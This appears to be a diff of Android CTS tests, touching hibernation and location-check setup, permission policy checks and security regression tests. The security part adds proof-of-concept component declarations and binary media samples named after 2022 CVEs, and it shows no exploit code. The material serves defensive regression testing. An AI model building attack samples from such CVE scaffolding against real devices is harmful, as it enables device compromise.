--- a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
@@ -61,6 +61,11 @@
 
 private const val BROADCAST_TIMEOUT_MS = 60000L
 
+const val HIBERNATION_BOOT_RECEIVER_CLASS_NAME =
+    "com.android.permissioncontroller.hibernation.HibernationOnBootReceiver"
+const val ACTION_SET_UP_HIBERNATION =
+    "com.android.permissioncontroller.action.SET_UP_HIBERNATION"
+
 const val SYSUI_PKG_NAME = "com.android.systemui"
 const val NOTIF_LIST_ID = "com.android.systemui:id/notification_stack_scroller"
 const val CLEAR_ALL_BUTTON_ID = "dismiss_text"
@@ -82,35 +87,37 @@
 fun runBootCompleteReceiver(context: Context, testTag: String) {
     val pkgManager = context.packageManager
     val permissionControllerPkg = pkgManager.permissionControllerPackageName
+    var permissionControllerSetupIntent = Intent(ACTION_SET_UP_HIBERNATION).apply {
+        setPackage(permissionControllerPkg)
+        setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+    }
     val receivers = pkgManager.queryBroadcastReceivers(
-        Intent(Intent.ACTION_BOOT_COMPLETED), /* flags= */ 0)
-    for (ri in receivers) {
-        val pkg = ri.activityInfo.packageName
-        if (pkg == permissionControllerPkg) {
-            val permissionControllerSetupIntent = Intent()
-                .setClassName(pkg, ri.activityInfo.name)
-                .setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
-                .setPackage(permissionControllerPkg)
-            val countdownLatch = CountDownLatch(1)
-            Log.d(testTag, "Sending boot complete broadcast directly to ${ri.activityInfo.name} " +
-                "in package $permissionControllerPkg")
-            context.sendOrderedBroadcast(
-                permissionControllerSetupIntent,
-                /* receiverPermission= */ null,
-                object : BroadcastReceiver() {
-                    override fun onReceive(context: Context?, intent: Intent?) {
-                        countdownLatch.countDown()
-                        Log.d(testTag, "Broadcast received by $permissionControllerPkg")
-                    }
-                },
-                Handler.createAsync(Looper.getMainLooper()),
-                Activity.RESULT_OK,
-                /* initialData= */ null,
-                /* initialExtras= */ null)
-            assertTrue("Timed out while waiting for boot receiver broadcast to be received",
-                countdownLatch.await(BROADCAST_TIMEOUT_MS, TimeUnit.MILLISECONDS))
+        permissionControllerSetupIntent, /* flags= */ 0)
+    if (receivers.size == 0) {
+        // May be on an older, pre-built PermissionController. In this case, try sending directly.
+        permissionControllerSetupIntent = Intent().apply {
+            setPackage(permissionControllerPkg)
+            setClassName(permissionControllerPkg, HIBERNATION_BOOT_RECEIVER_CLASS_NAME)
+            setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
         }
     }
+    val countdownLatch = CountDownLatch(1)
+    Log.d(testTag, "Sending boot complete broadcast directly to $permissionControllerPkg")
+    context.sendOrderedBroadcast(
+        permissionControllerSetupIntent,
+        /* receiverPermission= */ null,
+        object : BroadcastReceiver() {
+            override fun onReceive(context: Context?, intent: Intent?) {
+                countdownLatch.countDown()
+                Log.d(testTag, "Broadcast received by $permissionControllerPkg")
+            }
+        },
+        Handler.createAsync(Looper.getMainLooper()),
+        Activity.RESULT_OK,
+        /* initialData= */ null,
+        /* initialExtras= */ null)
+    assertTrue("Timed out while waiting for boot receiver broadcast to be received",
+        countdownLatch.await(BROADCAST_TIMEOUT_MS, TimeUnit.MILLISECONDS))
 }
 
 fun runAppHibernationJob(context: Context, tag: String) {
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 7de2727..9667a55 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -119,7 +119,11 @@
 
         // Wake up the device
         runShellCommandOrThrow("input keyevent KEYCODE_WAKEUP")
-        runShellCommandOrThrow("input keyevent 82")
+        if ("false".equals(runShellCommandOrThrow("cmd lock_settings get-disabled"))) {
+            // Unlock screen only when it's lock settings enabled to prevent showing "wallpaper
+            // picker" which may cover another UI elements on freeform window configuration.
+            runShellCommandOrThrow("input keyevent 82")
+        }
 
         if (isAutomotiveDevice()) {
             supportedApkPath = APK_PATH_S_APP
@@ -513,9 +517,9 @@
         val parent = waitFindObject(
             By.clickable(true)
                 .hasDescendant(By.textStartsWith("Remove permissions"))
-                .hasDescendant(By.clazz(Switch::class.java.name))
+                .hasDescendant(By.checkable(true))
         )
-        return parent.findObject(By.clazz(Switch::class.java.name))
+        return parent.findObject(By.checkable(true))
     }
 
     private fun waitForIdle() {
diff --git a/tests/tests/os/src/android/os/cts/VibratorManagerTest.java b/tests/tests/os/src/android/os/cts/VibratorManagerTest.java
index 67c6003..77fb1a9 100644
--- a/tests/tests/os/src/android/os/cts/VibratorManagerTest.java
+++ b/tests/tests/os/src/android/os/cts/VibratorManagerTest.java
@@ -99,7 +99,7 @@
             mStateListeners.put(vibratorId, listener);
             // Adding a listener to the Vibrator should trigger the callback once with the current
             // vibrator state, so reset mocks to clear it for tests.
-            assertVibratorState(false);
+            assertVibratorState(vibratorId, false);
             clearInvocations(listener);
         }
     }
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index ab7a15d..e13f58b 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -20,10 +20,8 @@
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
 import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
 import static android.app.AppOpsManager.OP_FLAGS_ALL_TRUSTED;
-import static android.app.Notification.EXTRA_TITLE;
 import static android.content.Context.BIND_AUTO_CREATE;
 import static android.content.Context.BIND_NOT_FOREGROUND;
-import static android.content.Intent.ACTION_BOOT_COMPLETED;
 import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
 import static android.location.Criteria.ACCURACY_FINE;
 import static android.os.Process.myUserHandle;
@@ -41,7 +39,6 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
@@ -80,6 +77,7 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
 import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.ProtoUtils;
 import com.android.compatibility.common.util.mainline.MainlineModule;
@@ -93,6 +91,7 @@
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -116,11 +115,18 @@
             "/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk";
     private static final String TEST_APP_LOCATION_FG_ACCESS_APK =
             "/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk";
+    private static final String ACTION_SET_UP_LOCATION_ACCESS_CHECK =
+            "com.android.permissioncontroller.action.SET_UP_LOCATION_ACCESS_CHECK";
     private static final int LOCATION_ACCESS_CHECK_JOB_ID = 0;
+    private static final int LOCATION_ACCESS_CHECK_NOTIFICATION_ID = 0;
 
     /** Whether to show location access check notifications. */
     private static final String PROPERTY_LOCATION_ACCESS_CHECK_ENABLED =
             "location_access_check_enabled";
+    private static final String PROPERTY_LOCATION_ACCESS_CHECK_DELAY_MILLIS =
+            "location_access_check_delay_millis";
+    private static final String PROPERTY_LOCATION_ACCESS_PERIODIC_INTERVAL_MILLIS =
+            "location_access_check_periodic_interval_millis";
 
     private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
     private static final long EXPECTED_TIMEOUT_MILLIS = 15000;
@@ -137,6 +143,25 @@
 
     private static final String PERMISSION_CONTROLLER_PKG = sContext.getPackageManager()
             .getPermissionControllerPackageName();
+    private static final String LocationAccessCheckOnBootReceiver =
+            "com.android.permissioncontroller.permission.service"
+                    + ".LocationAccessCheck$SetupPeriodicBackgroundLocationAccessCheck";
+
+    // Override general notification interval
+    @Rule
+    public DeviceConfigStateChangerRule sPrivacyDeviceConfigBgCheckIntervalMillis =
+            new DeviceConfigStateChangerRule(sContext,
+                    DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_LOCATION_ACCESS_PERIODIC_INTERVAL_MILLIS,
+                    "100");
+
+    // Override general delay interval
+    @Rule
+    public DeviceConfigStateChangerRule sPrivacyDeviceConfigBgCheckDelayMillis =
+            new DeviceConfigStateChangerRule(sContext,
+                    DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_LOCATION_ACCESS_CHECK_DELAY_MILLIS,
+                    "50");
 
     /**
      * The result of {@link #assumeCanGetFineLocation()}, so we don't have to run it over and over
@@ -297,6 +322,11 @@
      * Force a run of the location check.
      */
     private static void runLocationCheck() throws Throwable {
+        // If the job isn't setup, do it before running a location check
+        if (!isLocationAccessJobSetup(myUserHandle().getIdentifier())) {
+            setupLocationAccessCheckJob();
+        }
+
         // Sleep a little bit to make sure we don't have overlap in timing
         Thread.sleep(1000);
 
@@ -358,8 +388,7 @@
             return null;
         }
 
-        if (notification.getNotification().extras.getString(EXTRA_TITLE, "")
-                .contains(TEST_APP_LABEL)) {
+        if (notification.getId() == LOCATION_ACCESS_CHECK_NOTIFICATION_ID) {
             if (cancelNotification) {
                 notificationService.cancelNotification(notification.getKey());
 
@@ -589,38 +618,47 @@
             }
         }, UNEXPECTED_TIMEOUT_MILLIS);
 
-        // Setup up permission controller again (simulate a reboot)
-        Intent permissionControllerSetupIntent = null;
-        for (ResolveInfo ri : sContext.getPackageManager().queryBroadcastReceivers(
-                new Intent(ACTION_BOOT_COMPLETED), 0)) {
-            String pkg = ri.activityInfo.packageName;
-
-            if (pkg.equals(PERMISSION_CONTROLLER_PKG)) {
-                permissionControllerSetupIntent = new Intent()
-                        .setClassName(pkg, ri.activityInfo.name)
-                        .setFlags(FLAG_RECEIVER_FOREGROUND)
-                        .setPackage(PERMISSION_CONTROLLER_PKG);
-
-                sContext.sendBroadcast(permissionControllerSetupIntent);
-            }
-        }
+        setupLocationAccessCheckJob();
 
         // Wait until jobs are set up
         eventually(() -> {
-            JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
-
-            for (RegisteredJob job : dump.registeredJobs) {
-                if (job.dump.sourceUserId == currentUserId
-                        && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)
-                        && job.dump.jobInfo.service.className.contains("LocationAccessCheck")) {
-                    return;
-                }
-            }
-
-            fail("Permission controller jobs not found");
+            assertTrue("LocationAccessCheck job not found",
+                    isLocationAccessJobSetup(currentUserId));
         }, UNEXPECTED_TIMEOUT_MILLIS);
     }
 
+    private static boolean isLocationAccessJobSetup(int currentUserId) throws Exception {
+        JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+        for (RegisteredJob job : dump.registeredJobs) {
+            if (job.dump.sourceUserId == currentUserId
+                    && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)
+                    && job.dump.jobInfo.service.className.contains("LocationAccessCheck")) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private static void setupLocationAccessCheckJob() {
+        // Setup location access check
+        Intent permissionControllerSetupIntent = new Intent(
+                ACTION_SET_UP_LOCATION_ACCESS_CHECK).setPackage(
+                PERMISSION_CONTROLLER_PKG).setFlags(FLAG_RECEIVER_FOREGROUND);
+
+        // Query for the setup broadcast receiver
+        List<ResolveInfo> resolveInfos = sContext.getPackageManager().queryBroadcastReceivers(
+                permissionControllerSetupIntent, 0);
+
+        if (resolveInfos.size() > 0) {
+            sContext.sendBroadcast(permissionControllerSetupIntent);
+        } else {
+            sContext.sendBroadcast(new Intent()
+                    .setClassName(PERMISSION_CONTROLLER_PKG, LocationAccessCheckOnBootReceiver)
+                    .setFlags(FLAG_RECEIVER_FOREGROUND)
+                    .setPackage(PERMISSION_CONTROLLER_PKG));
+        }
+    }
+
     /**
      * Unregister {@link NotificationListener}.
      */
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 162f66a..1c9dc63 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -6462,6 +6462,13 @@
     <permission android:name="android.permission.SET_UNRESTRICTED_KEEP_CLEAR_AREAS"
                 android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an app to set gesture exclusion without restrictions on the vertical extent of the
+         exclusions (see {@link android.view.View#setSystemGestureExclusionRects}).
+         @hide
+    -->
+    <permission android:name="android.permission.SET_UNRESTRICTED_GESTURE_EXCLUSION"
+                android:protectionLevel="signature|privileged|recents" />
+
     <!-- Allows an UID to be visible to the application based on an interaction between the
          two apps. This permission is not intended to be held by apps.
          @hide @TestApi  -->
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index 71442c7..d723e05 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -15,9 +15,13 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-     package="com.android.car.updatable" >
+     xmlns:androidprv="http://schemas.android.com/apk/prv/res/android" >
 
+    <!--
+        This file contains the permissions defined by CarService-Builtin(com.android.car)
+        and CarService-updatable(com.[google.]?android.car.updatable). As this is only a
+        resource file, permissions from both packages can be added here.
+    -->
     <permission-group android:name="android.car.permission-group.CAR_MONITORING"
          android:icon="@drawable/perm_group_car"
          android:description="@string/car_permission_desc"
@@ -474,4 +478,8 @@
         android:protectionLevel="signature|privileged"
         android:label="@string/car_permission_label_control_car_app_launch"
         android:description="@string/car_permission_desc_control_car_app_launch"/>
+    <permission android:name="android.car.permission.MANAGE_THREAD_PRIORITY"
+        android:protectionLevel="signature|privileged"
+        android:label="@string/car_permission_label_thread_priority"
+        android:description="@string/car_permission_desc_thread_priority"/>
 </manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index edfcf3a..752a794 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -71,6 +71,9 @@
     private static final String MANAGE_COMPANION_DEVICES_PERMISSION
             = "android.permission.MANAGE_COMPANION_DEVICES";
 
+    private static final String SET_UNRESTRICTED_GESTURE_EXCLUSION
+            = "android.permission.SET_UNRESTRICTED_GESTURE_EXCLUSION";
+
     private static final String LOG_TAG = "PermissionProtectionTest";
 
     private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -130,6 +133,35 @@
 
             declaredPermissionsMap.putAll(
                     getPermissionsForPackage(sContext, carServicePackageName));
+
+            // Load signature permission declared in CarService-builtin
+            String carServiceBuiltInPackageName = "com.android.car";
+            Map<String, PermissionInfo> carServiceBuiltInPermissionsMap = getPermissionsForPackage(
+                    sContext, carServiceBuiltInPackageName);
+            // carServiceBuiltInPermissionsMap should only have signature permissions and those
+            // permissions should not be defined in car service updatable.
+            for (Map.Entry<String, PermissionInfo> permissionData : carServiceBuiltInPermissionsMap
+                    .entrySet()) {
+                PermissionInfo carServiceBuiltInDeclaredPermission = permissionData.getValue();
+                String carServiceBuiltInDeclaredPermissionName = permissionData.getKey();
+
+                // Signature only permission should be defined in built-in car service
+                if ((carServiceBuiltInDeclaredPermission
+                        .getProtection() != PermissionInfo.PROTECTION_SIGNATURE)
+                        || (carServiceBuiltInDeclaredPermission.getProtectionFlags() != 0)) {
+                    offendingList.add("Permission " + carServiceBuiltInDeclaredPermissionName
+                            + " should be signature only permission to be declared in"
+                            + " carServiceBuiltIn package.");
+                    continue;
+                }
+
+                if (declaredPermissionsMap.get(carServiceBuiltInDeclaredPermissionName) != null) {
+                    offendingList.add("Permission " + carServiceBuiltInDeclaredPermissionName
+                            + " from car service builtin is already declared in other packages.");
+                    continue;
+                }
+            }
+            declaredPermissionsMap.putAll(carServiceBuiltInPermissionsMap);
         }
 
         for (ExpectedPermissionInfo expectedPermission : expectedPermissions) {
@@ -475,6 +507,8 @@
                 return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
             case MANAGE_COMPANION_DEVICES_PERMISSION:
                 return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+            case SET_UNRESTRICTED_GESTURE_EXCLUSION:
+                return true;
             default:
                 return false;
         }
diff --git a/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt
index 6693aa3..8bd15373 100644
--- a/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt
@@ -20,6 +20,7 @@
 import android.os.Build
 import androidx.test.filters.SdkSuppress
 import com.android.compatibility.common.util.SystemUtil
+import org.junit.Assume
 import org.junit.Test
 
 /**
@@ -96,6 +97,8 @@
 
     @Test
     fun testWhenVisualIsDeniedManuallyThenShouldDenyAllPermissions() {
+        // TODO: Re-enable after b/239249703 is fixed
+        Assume.assumeFalse("skip on TV due to flaky", isTv)
         installPackage(APP_APK_PATH_23)
         grantAppPermissions(android.Manifest.permission.READ_MEDIA_VIDEO, targetSdk = 23)
         revokeAppPermissions(android.Manifest.permission.READ_MEDIA_VIDEO, targetSdk = 23)
diff --git a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
index 8cff38a..67fa1bc 100644
--- a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
+++ b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
@@ -25,6 +25,7 @@
 import android.content.ContextParams
 import android.content.Intent
 import android.content.pm.PackageManager.FEATURE_LEANBACK
+import android.content.pm.PackageManager.FEATURE_TELEPHONY
 import android.net.Uri
 import android.os.Bundle
 import android.os.Process
@@ -44,6 +45,7 @@
 import com.google.common.truth.Truth.assertThat
 import org.junit.After
 import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
 import org.junit.Before
 import org.junit.Test
 import org.mockito.ArgumentMatcher
@@ -105,6 +107,7 @@
     @Throws(Exception::class)
     fun testSelfSmsAccess() {
         assumeNotTv()
+        assumeHasTelephony()
         testSelfAccess(Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
     }
@@ -178,6 +181,7 @@
     @Throws(Exception::class)
     fun testUntrustedSmsAccessAttributeToAnother() {
         assumeNotTv()
+        assumeHasTelephony()
         testUntrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
     }
@@ -225,6 +229,7 @@
     @Throws(Exception::class)
     fun testUntrustedSmsAccessAttributeToAnotherThroughIntermediary() {
         assumeNotTv()
+        assumeHasTelephony()
         testUntrustedAccessAttributeToAnotherThroughIntermediary(
                 Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
@@ -323,6 +328,7 @@
     @Throws(Exception::class)
     fun testTrustedAccessSmsAttributeToAnother() {
         assumeNotTv()
+        assumeHasTelephony()
         testTrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
                 Manifest.permission.READ_SMS)
     }
@@ -666,6 +672,7 @@
             get() = InstrumentationRegistry.getInstrumentation()
 
         private val isTv = context.packageManager.hasSystemFeature(FEATURE_LEANBACK)
+        private val isTel = context.packageManager.hasSystemFeature(FEATURE_TELEPHONY)
 
         fun ensureAuxiliaryAppsNotRunningAndNoResidualProcessState() {
             SystemUtil.runShellCommand("am force-stop $RECEIVER_PACKAGE_NAME")
@@ -1178,5 +1185,6 @@
         }
 
         private fun assumeNotTv() = assumeFalse(isTv)
+        private fun assumeHasTelephony() = assumeTrue(isTel)
     }
 }
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
index 29cf672..782f30c 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
@@ -103,7 +103,8 @@
     }
 
     private void assertScreenshotsAreEqual(Bitmap before, Bitmap after) {
-        assertTrue("Screenshots do not match!", BitmapUtils.compareBitmaps(before, after));
+        // TODO(b/227553681): remove the precision=0.99 arg so it does a pixel-by-pixel check
+        assertTrue("Screenshots do not match!", BitmapUtils.compareBitmaps(before, after, 0.99));
     }
 
     private void assertTextShown(String text) {
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
index d51c540..88f45e2 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -371,6 +371,7 @@
     private File copyResourceToFile(int sourceResId, File destinationDir,
             String destinationFileName) throws Exception {
         final File file = new File(destinationDir, destinationFileName);
+        destinationDir.mkdirs();
         file.createNewFile();
 
         try (InputStream source = InstrumentationRegistry.getTargetContext().getResources()
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 00a1e37..0cf3dd5 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -35,6 +35,7 @@
         "platform-test-annotations",
         "sts-device-util",
         "hamcrest-library",
+        "NeneInternal",
     ],
     libs: [
         "android.test.runner",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 186c5e2..afdddfd 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -28,6 +28,9 @@
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+
 
     <!-- For FileIntegrityManager -->
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
@@ -201,6 +204,34 @@
             </intent-filter>
         </activity>
 
+        <receiver android:name="android.security.cts.CVE_2022_20420.PocDeviceAdminReceiver"
+            android:exported="true"
+            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                android:resource="@xml/device_admin_CVE_2022_20420" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
+        <activity android:name="android.security.cts.ActivityManagerTest$ActivityOptionsActivity" />
+        <activity android:name="android.security.cts.ActivityManagerTest$BaseActivity" />
+
+        <provider android:name="android.security.cts.CVE_2022_20358.PocContentProvider"
+            android:authorities="android.security.cts.CVE_2022_20358.provider"
+            android:enabled="true"
+            android:exported="true" />
+
+        <service android:name="android.security.cts.CVE_2022_20358.PocSyncService"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.content.SyncAdapter" />
+            </intent-filter>
+            <meta-data android:name="android.content.SyncAdapter"
+                android:resource="@xml/syncadapter" />
+        </service>
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
index b9694c3..24e55c5 100644
--- a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -22,4 +22,5 @@
     int getAllocationSize(in BitmapWrapper bitmap);
     boolean didReceiveBitmap(in BitmapWrapper bitmap);
     boolean ping();
+    void exit();
 }
diff --git a/tests/tests/security/res/raw/cve_2022_22083.ape b/tests/tests/security/res/raw/cve_2022_22083.ape
new file mode 100644
index 0000000..05d6d73
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22083.ape
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22084.qcp b/tests/tests/security/res/raw/cve_2022_22084.qcp
new file mode 100644
index 0000000..c41d21e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22084.qcp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22085.dts b/tests/tests/security/res/raw/cve_2022_22085.dts
new file mode 100644
index 0000000..3a88631
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22085.dts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22086.3gp b/tests/tests/security/res/raw/cve_2022_22086.3gp
new file mode 100644
index 0000000..715d10c
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22086.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22087.mkv b/tests/tests/security/res/raw/cve_2022_22087.mkv
new file mode 100644
index 0000000..0b25fe4
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22087.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_25657.mkv b/tests/tests/security/res/raw/cve_2022_25657.mkv
new file mode 100644
index 0000000..3d5f70e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_25657.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_25659.mkv b/tests/tests/security/res/raw/cve_2022_25659.mkv
new file mode 100644
index 0000000..9eda647
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_25659.mkv
Binary files differ
diff --git a/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml b/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml
new file mode 100644
index 0000000..cb567e3
--- /dev/null
+++ b/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<device-admin>
+    <uses-policies>
+    </uses-policies>
+</device-admin>
diff --git a/tests/tests/security/res/xml/syncadapter.xml b/tests/tests/security/res/xml/syncadapter.xml
new file mode 100644
index 0000000..478fad5
--- /dev/null
+++ b/tests/tests/security/res/xml/syncadapter.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="CVE_2022_20358_acc"
+    android:isAlwaysSyncable="true" />
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index f16b8fb..116d21e 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,28 +15,134 @@
  */
 package android.security.cts;
 
+import static android.app.ActivityOptions.ANIM_SCENE_TRANSITION;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NO_USER_ACTION;
+import static android.view.Window.FEATURE_ACTIVITY_TRANSITIONS;
+
 import static org.junit.Assert.*;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
 import android.app.ActivityManager;
-import android.app.ApplicationExitInfo;
+import android.app.ActivityOptions;
+import android.app.Application;
+
+import android.app.UiAutomation;
 import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
 import android.os.IBinder;
+import android.os.RemoteException;
+
+import android.os.Process;
+import android.os.UserHandle;
 import android.platform.test.annotations.AsbSecurityTest;
 import android.util.Log;
-import androidx.test.runner.AndroidJUnit4;
+import android.view.SurfaceControl;
+import android.window.IRemoteTransition;
+import android.window.IRemoteTransitionFinishedCallback;
+import android.window.RemoteTransition;
+import android.window.TransitionInfo;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import com.android.compatibility.common.util.ShellUtils;
 import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import junit.framework.TestCase;
 
-import java.lang.reflect.InvocationTargetException;
 
-import org.junit.runner.RunWith;
 import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
